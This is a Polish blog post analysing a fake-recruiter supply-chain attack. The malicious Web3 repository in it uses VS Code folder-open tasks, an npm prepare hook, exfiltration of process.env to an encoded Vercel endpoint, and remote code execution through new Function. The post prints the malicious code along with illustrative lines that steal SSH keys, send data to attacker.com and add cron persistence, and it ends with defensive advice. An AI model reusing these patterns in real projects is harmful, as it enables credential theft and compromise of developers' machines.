Anatomia ataku na łańcuch dostaw wymierzonego w programistę

To zdarzyło się mnie. Zaczęło się od wiadomości na LinkedIn od kogoś o imieniu Kevin (profil obecnie usunięty), który proponował stanowisko Technical Lead w platformie zdecentralizowanego stakingu — budżet 6,3 mln USD, w pełni zdalnie, elastyczne godziny. Oferta była dopracowana, a sama okazja brzmiała wiarygodnie. Umówiłem rozmowę — ale gdy się zaczęła, pojawiła się na niej całkiem inna osoba. To był pierwszy sygnał ostrzegawczy. Rozmowa szybko przeszła do przeglądu ich bazy kodu. Moim pierwszym odruchem było otwarcie projektu w GitHub Codespaces — zdalnym środowisku oddzielającym wykonanie od mojego laptopa. Ale repozytorium nie miało takiej opcji, więc przeszedłem do sklonowania go lokalnie.

Po sklonowaniu repo atakujący poprosił konkretnie o otwarcie go w VS Code. Używałem produktów JetBrains i odmówiłem. Uniknąłem w ten sposób opisanej niżej ścieżki przez .vscode/tasks.json. Takie zadania mogą startować przy otwarciu folderu, ale podlegają kontroli zaufania i zgody na automatyczne zadania; samo otwarcie niezaufanego folderu zwykle ich nie autoryzuje.

Kiedy to nie wyszło, atakujący zmienił taktykę. Poprosił o sprawdzenie wersji Node — z pozoru niewinna prośba, która jednocześnie służyła upewnieniu się, że mam zainstalowany i gotowy Node.js. Potem zaproponował, że uruchomi npm install za mnie, prosząc o współdzielenie ekranu. Ponieważ wiem, że npm install może wykonywać hooki cyklu życia w rodzaju postinstall, a nie miałem pojęcia, co wykonają ich zależności, odmówiłem. Poprosiłem o czas na przejrzenie projektu przed kolejną rozmową — ale on naciskał, żeby zrobić to od razu, na miejscu. Odmówiłem ponownie. Po prostu się rozłączył i nigdy więcej się nie odezwał.

Prośby przechodziły od wyboru edytora do instalowania zależności podczas udostępniania ekranu. Z perspektywy czasu każda przybliżała projekt do wykonania kodu na moim komputerze.

Poprosiłem Claude o pomoc w analizie projektu. Kod pokazuje próbę wysłania środowiska procesu Node do zdalnego endpointu i wykonania zwróconego kodu. Ścieżki uruchomienia zapewniają zadania edytora i skrypty npm.

Projekt przedstawia się jako „DLabs Platform” — platforma Web3 do gamingu, stakingu i zakładów, zbudowana na React, Node.js, Express i MongoDB. README jest dopracowane, zależności wyglądają rozsądnie, a struktura kodu wydaje się profesjonalna. Pod tą powierzchnią dwie ścieżki uruchomienia prowadzą do złośliwego kodu.

Warstwa socjotechniczna

Atak zaczyna się, zanim wykona się jakikolwiek kod. Atakujący wysyła repozytorium do celu — zwykle pod pozorem zadania rekrutacyjnego, projektu freelancerskiego do przejrzenia albo propozycji współpracy. README wzmacnia wrażenie autentyczności:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

Standardowe instrukcje. Nic niepokojącego. Projekt ma profesjonalną strukturę z katalogami src/, server/, public/, prawdziwe zależności takie jak react, express, mongoose, ethers, a nawet .gitignore. Wygląda jak dziesiątki innych startowych projektów Web3 na GitHubie.

Wektor ataku 1: automatyczne wykonanie zadań VSCode

Spójrzmy na .vscode/tasks.json.

Zadanie żąda automatycznego uruchomienia przy otwarciu folderu. Wykonanie zależy od zaufania do obszaru roboczego, zgody na zadania automatyczne i ustawień edytora.

Zadanie 1: ciche npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

Jeśli automatyczne wykonanie jest dozwolone, zadanie uruchamia npm install --silent --no-progress. Ustawienia prezentacji zmniejszają widoczność polecenia:

  • "reveal": "silent" — pokazuje terminal tylko w warunkach opisanych dla trybu silent, a nie zawsze.
  • "echo": false — ukrywa wypisanie polecenia.
  • "focus": false — nie przenosi fokusu do terminala.
  • "showReuseMessage": false — ukrywa komunikat o ponownym użyciu terminala.
  • "clear": true — czyści terminal przed uruchomieniem zadania.

Te flagi ograniczają wyjście konsoli. Jeśli zadanie jest dozwolone i hooki nie są wyłączone, npm install wywołuje prepare, uruchamiający serwer i opisany niżej złośliwy kod.

Kontrola zadań automatycznych

Dokumentacja VS Code opisuje zgodę na zadania automatyczne. Nieznane repozytoria pozostawiaj w Restricted Mode, sprawdzaj zadania przed udzieleniem zaufania i użyj "task.allowAutomaticTasks": "off", aby wyłączyć ten wyzwalacz. Workspace Trust nie zapewnia bezpieczeństwa kodu, który zdecydujesz się uruchomić.

Zadanie 2: bezpośrednie pobranie ładunku shellowego

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

To zadanie pobiera i wykonuje skrypt shellowy wprost z drugiego wdrożenia atakującego na Vercelu (vscodesettings-tasks-j227.vercel.app). Rozpoznaje platformę:

  • macOS: curl -L | bash
  • Linux: wget -qO- | sh
  • Windows: curl --ssl-no-revoke -L | cmd (flaga --ssl-no-revoke omija sprawdzanie unieważnienia certyfikatów)

Sztuczka z poziomym przewijaniem

W surowym pliku tasks.json złośliwe komendy są odsunięte około 200 spacjami przed kluczem "command":

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

W edytorze tekstu albo narzędziu do code review klucz "command" zostaje wypchnięty daleko za prawą krawędź widocznego obszaru. Programista przewijający plik zobaczy:

"linux": {

}

Komenda wygląda na pusty obiekt. Żeby zobaczyć prawdziwy ładunek, trzeba przewinąć w poziomie — albo mieć włączone zawijanie wierszy. To znana technika obfuskacji celująca właśnie w code review w edytorach bez zawijania wierszy.

Wektor ataku 2: hook cyklu życia npm

Spójrzmy na package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

Hook prepare uruchamia node server/server.js w trakcie instalacji. Programista oczekujący wyłącznie pobrania pakietów może przeoczyć ten etap wykonania.

Skrypty start, build, test i eject również zawierają node server/server.js |. Potok powłoki uruchamia oba polecenia współbieżnie i łączy wyjście standardowe pierwszego z wejściem drugiego. Nie czeka na zakończenie serwera przed uruchomieniem drugiego polecenia.

Dlaczego właśnie prepare?

W tym lokalnym projekcie prepare uruchamia się podczas npm install, o ile skrypty cyklu życia nie są wyłączone. Na tym etapie zależności są już dostępne. Legalne projekty też używają tego hooka; sama obecność nie dowodzi złośliwości. npm audit nie jest ogólnym analizatorem skryptów.

Krok 1: wyciek zmiennych środowiskowych

Załóżmy, że serwer wystartował — oto co dzieje się dalej. Spójrzmy na server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

Dwie niewinnie wyglądające funkcje pomocnicze. setApiKey dekoduje ciąg Base64. verify wykonuje żądanie POST. Ale spójrz na drugi argument axios.post:

{ ...process.env }

Rozwinięcie process.env wysyła środowisko widoczne dla tego procesu Node, w tym odziedziczone zmienne i wartości załadowane z .env. Nie wylicza wszystkich zmiennych ani poświadczeń zapisanych na komputerze. W środowisku procesu mogą być:

  • dane uwierzytelniające AWS (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • klucze API (OpenAI, Stripe, dostawcy chmurowi)
  • ciągi połączenia do baz danych
  • sekrety sesji i klucze JWT
  • ścieżki do gniazd agenta SSH
  • PATH, HOME i inne zmienne systemowe

Nazwy funkcji są celowo przyziemne. verify brzmi, jakby walidowała klucz API. setApiKey brzmi jak setter. Przy code review wtapiają się idealnie w otaczającą logikę uwierzytelniania.

Nagłówek "x-app-request": "ip-check" to kolejne zmylenie — sugeruje, że żądanie jest rutynową walidacją IP, a nie operacją wyprowadzania danych.

Krok 2: endpoint zaobfuskowany Base64

Gdzie trafiają wykradzione dane uwierzytelniające? Spójrzmy na .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Dekodowanie Base64 ujawnia:

https://ip-checking-notification-j1.vercel.app/api

Zdekodowany adres używa subdomeny Vercel. Znana platforma hostingowa może nadawać adresowi zwyczajny wygląd, ale nie dowodzi jego wiarygodności ani wyłączenia spod kontroli bezpieczeństwa.

Kodowanie Base64 nie jest silną obfuskacją — każdy programista, który uruchomi na nim atob(), je odkoduje. Ale spełnia swoje zadanie: szybki grep po adresach URL w pliku .env nie ujawni podejrzanej domeny. Wygląda to jak klucz API, nie jak URL.

Sam plik .env jest rekwizytem

Zauważ, że .env nie znajduje się w .gitignore. .gitignore starannie wyklucza:

.env.development.local
.env.test.local
.env.production.local

Ale nie sam .env. To celowe. Plik .env jest zakomitowany do repozytorium z realistycznie wyglądającymi kluczami demonstracyjnymi:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

Pokazane wartości są placeholderami. Realistyczne klucze mogą nadawać przykładowemu projektowi pozory kompletności, ale sam wygląd nie rozstrzyga, czy poświadczenie w niezaufanym repozytorium jest aktywne.

Krok 3: zdalne wykonanie kodu przez dynamiczne tworzenie funkcji

Zobaczmy teraz, jak wszystko się ze sobą łączy. Spójrzmy na server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

To najgroźniejszy element. Przeanalizujmy przebieg wykonania:

  1. setApiKey(process.env.AUTH_API) — dekoduje adres endpointu z Base64
  2. verify(decodedUrl) — wysyła POST-em wszystkie zmienne środowiskowe na serwer atakującego
  3. Serwer atakującego odpowiada kodem JavaScript w response.data
  4. new Function("require", response.data) — tworzy nową funkcję, w której treść odpowiedzi jest jej kodem źródłowym
  5. executor(require) — wykonuje tę funkcję, przekazując jej require z Node.js jako argument

Przekazanie require daje zwróconemu kodowi dostęp do modułów Node, takich jak fs i child_process. Zakres dostępu wynika z uprawnień użytkownika procesu oraz ograniczeń systemu lub kontenera, a nie jest z definicji nieograniczony.

Co serwer atakującego może odesłać

Poniższe fragmenty ilustrują możliwe działania, a nie ładunki zaobserwowane z serwera. Powodzenie zależałoby od uprawnień i plików dostępnych procesowi.

// Odczyt kluczy SSH
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// Wykonywanie komend shellowych
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// Instalacja trwałego backdoora
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

new Function() wykonuje dynamiczny kod w zakresie globalnym, w odróżnieniu od bezpośredniego eval() w zakresie lokalnym. Tutaj jawne przekazanie require udostępnia zdalnemu kodowi mechanizm ładowania modułów.

Komunikat błędu to również socjotechnika

console.log("Aborting mempool scan due to failed API verification.");

Komunikat brzmi jak zwykły błąd Web3, ale wywołanie ma dodatkową wadę: validateApiKey() jest async, więc verified to Promise, a if (!verified) jest fałszywe. Odrzucone żądanie trafia do .catch(console.error), a nie do tego komunikatu przerwania.

Pełny przebieg ataku

Składając wszystko razem, oto pełny przebieg ataku:

Programista dostaje link do projektu
│
├─ Otwiera folder w VSCode
│  │
│  ├─ Zadanie 1: ciche npm install
│  │  └─ hook prepare → startuje serwer
│  │     └─ POST process.env na serwer atakującego
│  │        └─ odebranie ładunku JS
│  │           └─ new Function()(require) → RCE
│  │
│  └─ Zadanie 2: curl/wget | bash → bezpośrednie pobranie skryptu shellowego
│
└─ Uruchamia npm install
   └─ hook prepare → startuje serwer (ten sam łańcuch, co powyżej)

Są dwie drogi wykonania: zatwierdzone zadania edytora i skrypty npm. Droga npm wysyła środowisko, a następnie wykonuje odpowiedź tego samego endpointu; te operacje są zależne. Osobne zadanie pobierania skryptu używa innego endpointu.

Jeśli endpoint zbierający dane jest niedostępny, to żądanie nie może dostarczyć środowiska ani pobrać odpowiedzi. Inny dostępny endpoint może nadal obsłużyć osobne zadanie shell.

Wskaźniki kompromitacji

Jeśli wykonano zadanie, hook lub skrypt, zbadaj środowisko, w którym działał. Samo otwarcie folderu bez wykonania zadań nie jest tym samym co uruchomienie ładunku. Sprawdź:

  1. Połączenia wychodzące do domen *.vercel.app w logach sieciowych
  2. Nieznane zadania cron: crontab -l na Linuksie/macOS
  3. Nietypowe procesy: poszukaj trwale działających procesów w tle
  4. Zmodyfikowane konfiguracje shella: zmiany w .bashrc, .zshrc, .profile
  5. Nowe klucze SSH lub wpisy w authorized_keys
  6. Zainstalowane lub zmodyfikowane rozszerzenia przeglądarki

Zrotuj wszystkie dane uwierzytelniające, które w momencie wykonania znajdowały się w zmiennych środowiskowych.

Dobry instynkt: GitHub Codespaces

Codespaces oddzieliłby wykonanie od systemu plików laptopa, ale nie zapewniłby automatycznie bezpieczeństwa. Codespace może zawierać tokeny GitHub, przekazane poświadczenia, sekrety repozytorium i dostęp do sieci. Izolacja musi obejmować te zasoby, a nie tylko lokalizację VM.

Opcja Codespaces nie była dla mnie dostępna. Samo to nie wyjaśnia przyczyny: dostępność zależy od konta, zasad i konfiguracji repozytorium. Nadal mogłem wybrać inne izolowane środowisko do przeglądu zamiast lokalnego uruchamiania.

A gdyby to działało na Deno?

Model uprawnień Deno może ograniczać środowisko, sieć, operacje plikowe i podprocesy, jeśli kod faktycznie działa w Deno z ograniczonymi uprawnieniami. Zależnie od uruchomienia niedozwolona operacja może wyświetlić pytanie lub zakończyć się błędem.

To ochrona warunkowa, nie korzyść z samego zainstalowania Deno. Skrypty npm jawnie wywołują node, a szerokie uprawnienia, np. --allow-all, usuwają ochronę Deno. Zgoda na nieograniczone podprocesy także osłabia tę granicę.

Zadanie shell w VS Code to wektor ataku 1. Pobiera i wykonuje kod poza Deno, więc jego uprawnienia go nie obejmują. Tak samo jest z hookami npm uruchamiającymi inny runtime.

Wnioski i zabezpieczenia

  1. Przeglądaj obce projekty w jednorazowym środowisku bez osobistych poświadczeń, montowań hosta i przekazanych agentów.
  2. Przed wykonaniem sprawdź package.json, zmiany zależności i zadania edytora.
  3. Zachowaj ograniczony tryb niezaufanych obszarów i wyłącz automatyczne zadania przez "task.allowAutomaticTasks": "off".
  4. npm install --ignore-scripts pomija hooki, ale nie czyni zainstalowanego kodu bezpiecznym do późniejszego uruchomienia.
  5. Włącz zawijanie wierszy, aby zobaczyć polecenia ukryte odstępami.
  6. Sprawdzaj dynamiczne wykonanie (new Function(), eval()) i podprocesy w kontekście.
  7. Dekoduj podejrzane wartości lokalnie jako dane; nie odwiedzaj ani nie wykonuj ich zawartości.